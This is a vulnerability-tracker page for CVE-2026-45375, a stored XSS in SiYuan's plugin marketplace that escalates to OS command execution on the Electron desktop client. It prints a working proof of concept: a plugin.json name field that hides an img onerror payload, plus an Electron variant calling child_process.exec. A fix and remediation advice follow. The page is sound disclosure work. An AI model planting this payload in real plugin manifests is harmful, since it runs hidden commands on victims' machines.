Skip to main content

SiYuan CVE-2026-45375

| EUVDEUVD-2026-30356 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-05-13 https://github.com/siyuan-note/siyuan GHSA-27qc-m5gf-jv5r
9.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.0 CRITICAL
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 08, 2026 - 08:29 vuln.today
Analysis Generated
Jun 08, 2026 - 08:29 vuln.today
CVE Published
May 13, 2026 - 15:33 nvd
CRITICAL 9.0

DescriptionGitHub Advisory

Summary

SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description - Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.

Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view - opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.

A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.

Details

Server-side allowlist - kernel/bazaar/package.go:134-145:

go
func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil { return }
    pkg.Author = html.EscapeString(pkg.Author)
    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
    // pkg.Name and pkg.Version are NOT escaped
}

PreferredName fallback - kernel/bazaar/installed.go:59 and kernel/bazaar/package.go:148-162:

go
// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)

// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
    if len(m) == 0 { return fallback }   // ← unescaped pkg.Name reaches the renderer
    if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
    if v := strings.TrimSpace(m["default"]);  v != "" { return v }
    if v := strings.TrimSpace(m["en_US"]);    v != "" { return v }
    return fallback
}

Online marketplace path skips the kernel sanitizer - kernel/bazaar/package.go:127 + kernel/bazaar/bazaar.go:48:

go
// package.go:127  (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)

buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.

The upstream workflow has the same gap - siyuan-note/bazaar/actions/stage/main.go:897-909:

go
// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。
// (跟思源内核 kernel/bazaar/package.go 保持一致)
func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil { return }
    pkg.Author = html.EscapeString(pkg.Author)
    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}

The function is byte-identical to the kernel helper - the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.

Frontend sinks - app/src/config/bazaar.ts:

ts
// :430 - installed-plugin card list (zero-click)
${item.preferredName}

// :526 - package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>

// :540 - package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>

The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).

Renderer privilege boundary - app/electron/main.js:407-411:

js
webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.

PoC

End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.

1. Run a stock SiYuan v3.6.5 kernel:

sh
mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
  -v /tmp/siyuan-poc-ws:/siyuan/workspace \
  -e SIYUAN_ACCESS_AUTH_CODE=test123 \
  b3log/siyuan:v3.6.5 \
  --workspace=/siyuan/workspace --accessAuthCode=test123

2. Plant a malicious plugin manifest at /tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json:

json
{
  "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "displayName": {},
  "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
  "author": "markdown-utils",
  "version": "1.4.2",
  "url": "https://github.com/markdown-utils/markdown-utilities",
  "backends": ["all"],
  "frontends": ["all"]
}

The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry - no broken-image icon, no suspicious text.

3. Verify the kernel returns the unescaped payload:

Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:

sh
curl -s -b 'siyuan=<session-cookie>' \
  -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
  -H 'Content-Type: application/json' \
  -d '{"frontend":"desktop","keyword":""}'

Observed (verbatim):

json
{
  "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "name":          "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "version":       "1.4.2"
}

The HTML payload arrives at the client unmodified.

4. Trigger via the UI:

In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and alert("SiYuan Bazaar XSS") pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.

5. Electron RCE substitution:

The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:

json
"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"

On any Electron-packaged SiYuan v3.6.5 (e.g. siyuan-3.6.5-mac-arm64.dmg), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.

Impact

  • Stored XSS → arbitrary OS command execution in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs.
  • Triggers on view, not on install. Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked.
  • Visually undetectable. The display:none style hides the malicious markup, so the marketplace card appears entirely legitimate.
  • Survives transport. The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, .sy.zip export/import, and any other workspace-content transport without modification.
  • Low attacker prerequisites. Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself - both the install flow and the post-listing release-then-poison flow - is the canonical low-friction delivery channel.

Suggested fix

Primary: extend the kernel allowlist in kernel/bazaar/package.go:134-145:

diff
 func sanitizePackageDisplayStrings(pkg *Package) {
     if pkg == nil { return }
     pkg.Author = html.EscapeString(pkg.Author)
+    pkg.Name    = html.EscapeString(pkg.Name)
+    pkg.Version = html.EscapeString(pkg.Version)
     for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
     for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
+    for i, kw := range pkg.Keywords    { pkg.Keywords[i]   = html.EscapeString(kw) }
 }

Secondary: also call sanitizePackageDisplayStrings from kernel/bazaar/bazaar.go:48 (buildBazaarPackageWithMetadata) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at siyuan-note/bazaar/actions/stage/main.go:897-909 (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go").

Tertiary (defense in depth): wrap the frontend sinks in app/src/config/bazaar.ts (${item.preferredName}, ${data.name}, ${data.version}) with the existing escapeHtml(...) helper.

Renderer hardening: switching the main BrowserWindow at app/electron/main.js:407-411 to contextIsolation: true with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.

AnalysisAI

Stored cross-site scripting in SiYuan's Bazaar marketplace (versions ≤ 3.6.5) escalates to arbitrary OS command execution on the Electron desktop client because the kernel sanitizer in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description while passing Name and Version straight to innerHTML sinks. Any attacker who can publish a plugin/theme/template/widget/icon manifest to the public Bazaar - or otherwise drop a malicious plugin.json into the workspace - triggers zero-click code execution the moment a victim opens Settings → Marketplace → Downloaded → Plugins. A detailed POC against b3log/siyuan:v3.6.5 is published in the GHSA advisory; publicly available exploit code exists, though EPSS remains low at 0.04%.

Technical ContextAI

SiYuan is an Electron-based personal knowledge management application (Go kernel + TypeScript renderer) distributed as pkg:go/github.com_siyuan-note_siyuan_kernel. The vulnerability is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation): the kernel helper sanitizePackageDisplayStrings is an allowlist that omits the Name, Version, and Keywords fields of Package, and the frontend at app/src/config/bazaar.ts interpolates them into template literals that are written via element.innerHTML. The blast radius is amplified by Electron's BrowserWindow being configured with nodeIntegration:true, contextIsolation:false, and webSecurity:false (app/electron/main.js:407-411), so any DOM XSS in the renderer reaches require('child_process').exec directly. A second sink is the PreferredName fallback in GetPreferredLocaleString, which returns the raw pkg.Name when displayName is an empty locale map, and the online-marketplace path buildBazaarPackageWithMetadata never calls the kernel sanitizer at all - sanitization is delegated to the siyuan-note/bazaar GitHub Action, whose helper is byte-identical and therefore equally incomplete.

RemediationAI

No vendor-released patch identified at time of analysis - the Go module entry lists 'fixed in: None' and the GHSA advisory documents the proposed fix without yet shipping a tagged release. The reporter's suggested kernel patch adds html.EscapeString calls for pkg.Name, pkg.Version, and pkg.Keywords in sanitizePackageDisplayStrings at kernel/bazaar/package.go:134-145, plus invoking that sanitizer from buildBazaarPackageWithMetadata in kernel/bazaar/bazaar.go:48 and mirroring the change into the upstream siyuan-note/bazaar staging workflow. Until a release lands, operators should restrict who can drop files into the workspace plugins/themes/templates/widgets/icons directories (especially in shared/Docker deployments), avoid opening the Marketplace Downloaded tab on any instance where untrusted manifests could exist, and consider blocking outbound access to the public Bazaar endpoint if Marketplace browsing is non-essential - note this disables legitimate plugin discovery. For defense-in-depth, downstream packagers can rebuild Electron with contextIsolation:true and nodeIntegration:false in app/electron/main.js:407-411, which bounds future renderer XSS to DOM impact at the cost of breaking any plugins that rely on direct Node access. Track the fix at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-45375 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy